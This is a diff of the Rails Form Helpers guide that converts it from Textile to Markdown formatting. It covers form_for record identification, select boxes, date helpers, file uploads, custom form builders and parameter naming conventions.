-The Article model is directly available to users of the application, so -- following the best practices for developing with Rails -- you should declare it *a resource*:
+The Article model is directly available to users of the application, so -- following the best practices for developing with Rails -- you should declare it **a resource**:
-<ruby>
+```ruby
resources :articles
-</ruby>
+```
-TIP: Declaring a resource has a number of side-affects. See "Rails Routing From the Outside In":routing.html#resource-routing-the-rails-default for more information on setting up and using resources.
+TIP: Declaring a resource has a number of side-affects. See [Rails Routing From the Outside In](routing.html#resource-routing-the-rails-default) for more information on setting up and using resources.
-When dealing with RESTful resources, calls to +form_for+ can get significantly easier if you rely on *record identification*. In short, you can just pass the model instance and have Rails figure out model name and the rest:
+When dealing with RESTful resources, calls to `form_for` can get significantly easier if you rely on **record identification**. In short, you can just pass the model instance and have Rails figure out model name and the rest:
-<ruby>
+```ruby
## Creating a new article
# long-style:
form_for(@article, :url => articles_path)
@@ -307,44 +310,44 @@ form_for(@article)
form_for(@article, :url => article_path(@article), :html => { :method => "patch" })
# short-style:
form_for(@article)
-</ruby>
+```
-Notice how the short-style +form_for+ invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking +record.new_record?+. It also selects the correct path to submit to and the name based on the class of the object.
+Notice how the short-style `form_for` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`. It also selects the correct path to submit to and the name based on the class of the object.
-Rails will also automatically set the +class+ and +id+ of the form appropriately: a form creating an article would have +id+ and +class+ +new_article+. If you were editing the article with id 23, the +class+ would be set to +edit_article+ and the id to +edit_article_23+. These attributes will be omitted for brevity in the rest of this guide.
+Rails will also automatically set the `class` and `id` of the form appropriately: a form creating an article would have `id` and `class` `new_article`. If you were editing the article with id 23, the `class` would be set to `edit_article` and the id to `edit_article_23`. These attributes will be omitted for brevity in the rest of this guide.
-WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, +:url+, and +:method+ explicitly.
+WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, `:url`, and `:method` explicitly.
-h5. Dealing with Namespaces
+#### Dealing with Namespaces
-If you have created namespaced routes, +form_for+ has a nifty shorthand for that too. If your application has an admin namespace then
+If you have created namespaced routes, `form_for` has a nifty shorthand for that too. If your application has an admin namespace then
-<ruby>
+```ruby
form_for [:admin, @article]
-</ruby>
+```
-will create a form that submits to the articles controller inside the admin namespace (submitting to +admin_article_path(@article)+ in the case of an update). If you have several levels of namespacing then the syntax is similar:
+will create a form that submits to the articles controller inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar:
-<ruby>
+```ruby
form_for [:admin, :management, @article]
-</ruby>
+```
-For more information on Rails' routing system and the associated conventions, please see the "routing guide":routing.html.
+For more information on Rails' routing system and the associated conventions, please see the [routing guide](routing.html).
-h4. How do forms with PATCH, PUT, or DELETE methods work?
+### How do forms with PATCH, PUT, or DELETE methods work?
The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PATCH" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms.
-Rails works around this issue by emulating other methods over POST with a hidden input named +"_method"+, which is set to reflect the desired method:
+Rails works around this issue by emulating other methods over POST with a hidden input named `"_method"`, which is set to reflect the desired method:
-<ruby>
+```ruby
form_tag(search_path, :method => "patch")
-</ruby>
+```
output:
-<html>
+```html
<form accept-charset="UTF-8" action="/search" method="post">
<div style="margin:0;padding:0">
<input name="_method" type="hidden" value="patch" />
@@ -352,38 +355,39 @@ output:
<input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
</div>
...
-</html>
+```
-When parsing POSTed data, Rails will take into account the special +_method+ parameter and acts as if the HTTP method was the one specified inside it ("PATCH" in this example).
+When parsing POSTed data, Rails will take into account the special `_method` parameter and acts as if the HTTP method was the one specified inside it ("PATCH" in this example).
-h3. Making Select Boxes with Ease
+Making Select Boxes with Ease
+-----------------------------
-Select boxes in HTML require a significant amount of markup (one +OPTION+ element for each option to choose from), therefore it makes the most sense for them to be dynamically generated.
+Select boxes in HTML require a significant amount of markup (one `OPTION` element for each option to choose from), therefore it makes the most sense for them to be dynamically generated.
Here is what the markup might look like:
-<html>
+```html
<select name="city_id" id="city_id">
<option value="1">Lisbon</option>
<option value="2">Madrid</option>
...
<option value="12">Berlin</option>
</select>
-</html>
+```
Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here.
-h4. The Select and Option Tags
+### The Select and Option Tags
-The most generic helper is +select_tag+, which -- as the name implies -- simply generates the +SELECT+ tag that encapsulates an options string:
+The most generic helper is `select_tag`, which -- as the name implies -- simply generates the `SELECT` tag that encapsulates an options string:
-<erb>
+```erb
<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
-</erb>
+```
-This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the +options_for_select+ helper:
+This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the `options_for_select` helper:
-<erb>
+```html+erb
<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
output:
@@ -391,19 +395,19 @@ output:
<option value="1">Lisbon</option>
<option value="2">Madrid</option>
...
-</erb>
+```
-The first argument to +options_for_select+ is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case.
+The first argument to `options_for_select` is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case.
-Knowing this, you can combine +select_tag+ and +options_for_select+ to achieve the desired, complete markup:
+Knowing this, you can combine `select_tag` and `options_for_select` to achieve the desired, complete markup:
-<erb>
+```erb
<%= select_tag(:city_id, options_for_select(...)) %>
-</erb>
+```
-+options_for_select+ allows you to pre-select an option by passing its value.
+`options_for_select` allows you to pre-select an option by passing its value.
-<erb>
+```html+erb
<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>
output:
@@ -411,17 +415,17 @@ output:
<option value="1">Lisbon</option>
<option value="2" selected="selected">Madrid</option>
...
-</erb>
+```
-Whenever Rails sees that the internal value of an option being generated matches this value, it will add the +selected+ attribute to that option.
+Whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option.
-TIP: The second argument to +options_for_select+ must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to +options_for_select+ -- you must pass 2. Be aware of values extracted from the +params+ hash as they are all strings.
+TIP: The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to `options_for_select` -- you must pass 2. Be aware of values extracted from the `params` hash as they are all strings.
-WARNING: when +:inlude_blank+ or +:prompt:+ are not present, +:include_blank+ is forced true if the select attribute +required+ is true, display +size+ is one and +multiple+ is not true.
+WARNING: when `:inlude_blank` or `:prompt:` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one and `multiple` is not true.
You can add arbitrary attributes to the options using hashes:
-<erb>
+```html+erb
<%= options_for_select([['Lisbon', 1, :'data-size' => '2.8 million'], ['Madrid', 2, :'data-size' => '3.2 million']], 2) %>
output:
@@ -429,156 +433,158 @@ output:
<option value="1" data-size="2.8 million">Lisbon</option>
<option value="2" selected="selected" data-size="3.2 million">Madrid</option>
...
-</erb>
+```
-h4. Select Boxes for Dealing with Models
+### Select Boxes for Dealing with Models
-In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the +_tag+ suffix from +select_tag+:
+In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the `_tag` suffix from `select_tag`:
-<ruby>
+```ruby
# controller:
@person = Person.new(:city_id => 2)
-</ruby>
+```
-<erb>
+```erb
# view:
<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
-</erb>
+```
-Notice that the third parameter, the options array, is the same kind of argument you pass to +options_for_select+. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one -- Rails will do this for you by reading from the +@person.city_id+ attribute.
+Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one -- Rails will do this for you by reading from the `@person.city_id` attribute.
-As with other helpers, if you were to use the +select+ helper on a form builder scoped to the +@person+ object, the syntax would be:
+As with other helpers, if you were to use the `select` helper on a form builder scoped to the `@person` object, the syntax would be:
-<erb>
+```erb
# select on a form builder
<%= f.select(:city_id, ...) %>
-</erb>
+```
-WARNING: If you are using +select+ (or similar helpers such as +collection_select+, +select_tag+) to set a +belongs_to+ association you must pass the name of the foreign key (in the example above +city_id+), not the name of association itself. If you specify +city+ instead of +city_id+ Active Record will raise an error along the lines of <tt> ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) </tt> when you pass the +params+ hash to +Person.new+ or +update_attributes+. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of +attr_protected+ and +attr_accessible+. For further details on this, see the "Ruby On Rails Security Guide":security.html#mass-assignment.
+WARNING: If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id` Active Record will raise an error along the lines of ` ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) ` when you pass the `params` hash to `Person.new` or `update_attributes`. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of `attr_protected` and `attr_accessible`. For further details on this, see the [Ruby On Rails Security Guide](security.html#mass-assignment).
-h4. Option Tags from a Collection of Arbitrary Objects
+### Option Tags from a Collection of Arbitrary Objects
-Generating options tags with +options_for_select+ requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
+Generating options tags with `options_for_select` requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
-<erb>
+```erb
<% cities_array = City.all.map { |city| [city.name, city.id] } %>
<%= options_for_select(cities_array) %>
-</erb>
+```
-This is a perfectly valid solution, but Rails provides a less verbose alternative: +options_from_collection_for_select+. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option *value* and *text* from, respectively:
+This is a perfectly valid solution, but Rails provides a less verbose alternative: `options_from_collection_for_select`. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option **value** and **text** from, respectively:
-<erb>
+```erb
<%= options_from_collection_for_select(City.all, :id, :name) %>
-</erb>
+```
-As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with +select_tag+, just as you would with +options_for_select+. When working with model objects, just as +select+ combines +select_tag+ and +options_for_select+, +collection_select+ combines +select_tag+ with +options_from_collection_for_select+.
+As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with `select_tag`, just as you would with `options_for_select`. When working with model objects, just as `select` combines `select_tag` and `options_for_select`, `collection_select` combines `select_tag` with `options_from_collection_for_select`.
-<erb>
+```erb
<%= collection_select(:person, :city_id, City.all, :id, :name) %>
-</erb>
+```
-To recap, +options_from_collection_for_select+ is to +collection_select+ what +options_for_select+ is to +select+.
+To recap, `options_from_collection_for_select` is to `collection_select` what `options_for_select` is to `select`.
-NOTE: Pairs passed to +options_for_select+ should have the name first and the id second, however with +options_from_collection_for_select+ the first argument is the value method and the second the text method.
+NOTE: Pairs passed to `options_for_select` should have the name first and the id second, however with `options_from_collection_for_select` the first argument is the value method and the second the text method.
-h4. Time Zone and Country Select
+### Time Zone and Country Select
-To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using +collection_select+, but you can simply use the +time_zone_select+ helper that already wraps this:
+To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using `collection_select`, but you can simply use the `time_zone_select` helper that already wraps this:
-<erb>
+```erb
<%= time_zone_select(:person, :time_zone) %>
-</erb>
+```
-There is also +time_zone_options_for_select+ helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.
+There is also `time_zone_options_for_select` helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.
-Rails _used_ to have a +country_select+ helper for choosing countries, but this has been extracted to the "country_select plugin":https://github.com/chrislerum/country_select. When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails).
+Rails _used_ to have a `country_select` helper for choosing countries, but this has been extracted to the [country_select plugin](https://github.com/chrislerum/country_select). When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails).
-h3. Using Date and Time Form Helpers
+Using Date and Time Form Helpers
+--------------------------------
You can choose not to use the form helpers generating HTML5 date and time input fields and use the alternative date and time helpers. These date and time helpers differ from all the other form helpers in two important respects:
-# Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your +params+ hash with your date or time.
-# Other helpers use the +_tag+ suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, +select_date+, +select_time+ and +select_datetime+ are the barebones helpers, +date_select+, +time_select+ and +datetime_select+ are the equivalent model object helpers.
+* Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your `params` hash with your date or time.
+* Other helpers use the `_tag` suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, `select_date`, `select_time` and `select_datetime` are the barebones helpers, `date_select`, `time_select` and `datetime_select` are the equivalent model object helpers.
Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.).
-h4. Barebones Helpers
+### Barebones Helpers
-The +select_*+ family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example
+The `select_*` family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example
-<erb>
+```erb
<%= select_date Date.today, :prefix => :start_date %>
-</erb>
+```
outputs (with actual option values omitted for brevity)
-<html>
+```html
<select id="start_date_year" name="start_date[year]"> ... </select>
<select id="start_date_month" name="start_date[month]"> ... </select>
<select id="start_date_day" name="start_date[day]"> ... </select>
-</html>
+```
-The above inputs would result in +params[:start_date]+ being a hash with keys +:year+, +:month+, +:day+. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example
+The above inputs would result in `params[:start_date]` being a hash with keys `:year`, `:month`, `:day`. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example
-<ruby>
+```ruby
Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
-</ruby>
+```
-The +:prefix+ option is the key used to retrieve the hash of date components from the +params+ hash. Here it was set to +start_date+, if omitted it will default to +date+.
+The `:prefix` option is the key used to retrieve the hash of date components from the `params` hash. Here it was set to `start_date`, if omitted it will default to `date`.
-h4(#select-model-object-helpers). Model Object Helpers
+### Model Object Helpers
-+select_date+ does not work well with forms that update or create Active Record objects as Active Record expects each element of the +params+ hash to correspond to one attribute.
+`select_date` does not work well with forms that update or create Active Record objects as Active Record expects each element of the `params` hash to correspond to one attribute.
The model object helpers for dates and times submit parameters with special names, when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:
-<erb>
+```erb
<%= date_select :person, :birth_date %>
-</erb>
+```
outputs (with actual option values omitted for brevity)
-<html>
+```html
<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
-</html>
+```
-which results in a +params+ hash like
+which results in a `params` hash like
-<ruby>
+```ruby
{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
-</ruby>
+```
-When this is passed to +Person.new+ (or +update_attributes+), Active Record spots that these parameters should all be used to construct the +birth_date+ attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as +Date.civil+.
+When this is passed to `Person.new` (or `update_attributes`), Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date.civil`.
-h4. Common Options
+### Common Options
-Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the +:start_year+ and +:end_year+ options override this. For an exhaustive list of the available options, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html.
+Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the `:start_year` and `:end_year` options override this. For an exhaustive list of the available options, refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html).
-As a rule of thumb you should be using +date_select+ when working with model objects and +select_date+ in other cases, such as a search form which filters results by date.
+As a rule of thumb you should be using `date_select` when working with model objects and `select_date` in other cases, such as a search form which filters results by date.
NOTE: In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.
-h4. Individual Components
+### Individual Components
-Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component +select_year+, +select_month+, +select_day+, +select_hour+, +select_minute+, +select_second+. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for +select_year+, "month" for +select_month+ etc.) although this can be overridden with the +:field_name+ option. The +:prefix+ option works in the same way that it does for +select_date+ and +select_time+ and has the same default value.
+Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for `select_year`, "month" for `select_month` etc.) although this can be overridden with the `:field_name` option. The `:prefix` option works in the same way that it does for `select_date` and `select_time` and has the same default value.
The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example
-<erb>
+```erb
<%= select_year(2009) %>
<%= select_year(Time.now) %>
-</erb>
+```
-will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by +params[:date][:year]+.
+will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by `params[:date][:year]`.
-h3. Uploading Files
+Uploading Files
+---------------
-A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the rendered form's encoding *MUST* be set to "multipart/form-data". If you use +form_for+, this is done automatically. If you use +form_tag+, you must set it yourself, as per the following example.
+A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the rendered form's encoding **MUST** be set to "multipart/form-data". If you use `form_for`, this is done automatically. If you use `form_tag`, you must set it yourself, as per the following example.
The following two forms both upload a file.
-<erb>
+```erb
<%= form_tag({:action => :upload}, :multipart => true) do %>
<%= file_field_tag 'picture' %>
<% end %>
@@ -586,146 +592,148 @@ The following two forms both upload a file.
<%= form_for @person do |f| %>
<%= f.file_field :picture %>
<% end %>
-</erb>
+```
-NOTE: Since Rails 3.1, forms rendered using +form_for+ have their encoding set to <tt>multipart/form-data</tt> automatically once a +file_field+ is used inside the block. Previous versions required you to set this explicitly.
+NOTE: Since Rails 3.1, forms rendered using `form_for` have their encoding set to `multipart/form-data` automatically once a `file_field` is used inside the block. Previous versions required you to set this explicitly.
-Rails provides the usual pair of helpers: the barebones +file_field_tag+ and the model oriented +file_field+. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in +params[:picture]+ and in the second case in +params[:person][:picture]+.
+Rails provides the usual pair of helpers: the barebones `file_field_tag` and the model oriented `file_field`. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in `params[:picture]` and in the second case in `params[:person][:picture]`.
-h4. What Gets Uploaded
+### What Gets Uploaded
-The object in the +params+ hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an +original_filename+ attribute containing the name the file had on the user's computer and a +content_type+ attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in +#{Rails.root}/public/uploads+ under the same name as the original file (assuming the form was the one in the previous example).
+The object in the `params` hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an `original_filename` attribute containing the name the file had on the user's computer and a `content_type` attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in `#{Rails.root}/public/uploads` under the same name as the original file (assuming the form was the one in the previous example).
-<ruby>
+```ruby
def upload
uploaded_io = params[:person][:picture]
File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|
file.write(uploaded_io.read)
end
end
-</ruby>
+```
-Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are "CarrierWave":https://github.com/jnicklas/carrierwave and "Paperclip":http://www.thoughtbot.com/projects/paperclip.
+Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are [CarrierWave](https://github.com/jnicklas/carrierwave) and [Paperclip](http://www.thoughtbot.com/projects/paperclip).
NOTE: If the user has not selected a file the corresponding parameter will be an empty string.
-h4. Dealing with Ajax
+### Dealing with Ajax
-Unlike other forms making an asynchronous file upload form is not as simple as providing +form_for+ with <tt>:remote => true</tt>. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.
+Unlike other forms making an asynchronous file upload form is not as simple as providing `form_for` with `:remote => true`. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.
-h3. Customizing Form Builders
+Customizing Form Builders
+-------------------------
-As mentioned previously the object yielded by +form_for+ and +fields_for+ is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example
+As mentioned previously the object yielded by `form_for` and `fields_for` is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example
-<erb>
+```erb
<%= form_for @person do |f| %>
<%= text_field_with_label f, :first_name %>
<% end %>
-</erb>
+```
can be replaced with
-<erb>
+```erb
<%= form_for @person, :builder => LabellingFormBuilder do |f| %>
<%= f.text_field :first_name %>
<% end %>
-</erb>
+```
by defining a LabellingFormBuilder class similar to the following:
-<ruby>
+```ruby
class LabellingFormBuilder < ActionView::Helpers::FormBuilder
def text_field(attribute, options={})
label(attribute) + super
end
end
-</ruby>
+```
-If you reuse this frequently you could define a +labeled_form_for+ helper that automatically applies the +:builder => LabellingFormBuilder+ option.
+If you reuse this frequently you could define a `labeled_form_for` helper that automatically applies the `:builder => LabellingFormBuilder` option.
The form builder used also determines what happens when you do
-<erb>
+```erb
<%= render :partial => f %>
-</erb>
+```
-If +f+ is an instance of FormBuilder then this will render the +form+ partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the +labelling_form+ partial would be rendered instead.
+If `f` is an instance of FormBuilder then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the `labelling_form` partial would be rendered instead.
-h3. Understanding Parameter Naming Conventions
+Understanding Parameter Naming Conventions
+------------------------------------------
-As you've seen in the previous sections, values from forms can be at the top level of the +params+ hash or nested in another hash. For example in a standard +create+
-action for a Person model, +params[:model]+ would usually be a hash of all the attributes for the person to create. The +params+ hash can also contain arrays, arrays of hashes and so on.
+As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example in a standard `create`
+action for a Person model, `params[:person]` would usually be a hash of all the attributes for the person to create. The `params` hash can also contain arrays, arrays of hashes and so on.
Fundamentally HTML forms don't know about any sort of structured data, all they generate is name–value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.
TIP: You may find you can try out examples in this section faster by using the console to directly invoke Racks' parameter parser. For example,
-<ruby>
+```ruby
Rack::Utils.parse_query "name=fred&phone=0123456789"
# => {"name"=>"fred", "phone"=>"0123456789"}
-</ruby>
+```
-h4. Basic Structures
+### Basic Structures
-The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in +params+. For example if a form contains
+The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in `params`. For example if a form contains
-<html>
+```html
<input id="person_name" name="person[name]" type="text" value="Henry"/>
-</html>
+```
-the +params+ hash will contain
+the `params` hash will contain
-<erb>
+```erb
{'person' => {'name' => 'Henry'}}
-</erb>
+```
-and +params[:person][:name]+ will retrieve the submitted value in the controller.
+and `params[:person][:name]` will retrieve the submitted value in the controller.
Hashes can be nested as many levels as required, for example
-<html>
+```html
<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
-</html>
+```
-will result in the +params+ hash being
+will result in the `params` hash being
-<ruby>
+```ruby
{'person' => {'address' => {'city' => 'New York'}}}
-</ruby>
+```
Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, you could place this in the form:
-<html>
+```html
<input name="person[phone_number][]" type="text"/>
<input name="person[phone_number][]" type="text"/>
<input name="person[phone_number][]" type="text"/>
-</html>
+```
-This would result in +params[:person][:phone_number]+ being an array.
+This would result in `params[:person][:phone_number]` being an array.
-h4. Combining Them
+### Combining Them
We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment
-<html>
+```html
<input name="addresses[][line1]" type="text"/>
<input name="addresses[][line2]" type="text"/>
<input name="addresses[][city]" type="text"/>
-</html>
+```
-This would result in +params[:addresses]+ being an array of hashes with keys +line1+, +line2+ and +city+. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.
+This would result in `params[:addresses]` being an array of hashes with keys `line1`, `line2` and `city`. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.
There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter.
-WARNING: Array parameters do not play well with the +check_box+ helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The +check_box+ helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use +check_box_tag+ or to use hashes instead of arrays.
+WARNING: Array parameters do not play well with the `check_box` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `check_box` helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use `check_box_tag` or to use hashes instead of arrays.
-h4. Using Form Helpers
+### Using Form Helpers
-The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as +text_field_tag+ Rails also provides higher level support. The two tools at your disposal here are the name parameter to +form_for+ and +fields_for+ and the +:index+ option that helpers take.
+The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as `text_field_tag` Rails also provides higher level support. The two tools at your disposal here are the name parameter to `form_for` and `fields_for` and the `:index` option that helpers take.
You might want to render a form with a set of edit fields for each of a person's addresses. For example:
-<erb>
+```erb
<%= form_for @person do |person_form| %>
<%= person_form.text_field :name %>
<% @person.addresses.each do |address| %>
@@ -734,95 +742,97 @@ You might want to render a form with a set of edit fields for each of a person's
<% end %>
<% end %>
<% end %>
-</erb>
+```
Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this:
-<html>
+```html
<form accept-charset="UTF-8" action="/people/1" class="edit_person" id="edit_person_1" method="post">
<input id="person_name" name="person[name]" type="text" />
<input id="person_address_23_city" name="person[address][23][city]" type="text" />
<input id="person_address_45_city" name="person[address][45][city]" type="text" />
</form>
-</html>
+```
-This will result in a +params+ hash that looks like
+This will result in a `params` hash that looks like
-<ruby>
+```ruby
{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
-</ruby>
+```
-Rails knows that all these inputs should be part of the person hash because you called +fields_for+ on the first form builder. By specifying an +:index+ option you're telling Rails that instead of naming the inputs +person[address][city]+ it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call +to_param+ on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even +nil+ (which will result in an array parameter being created).
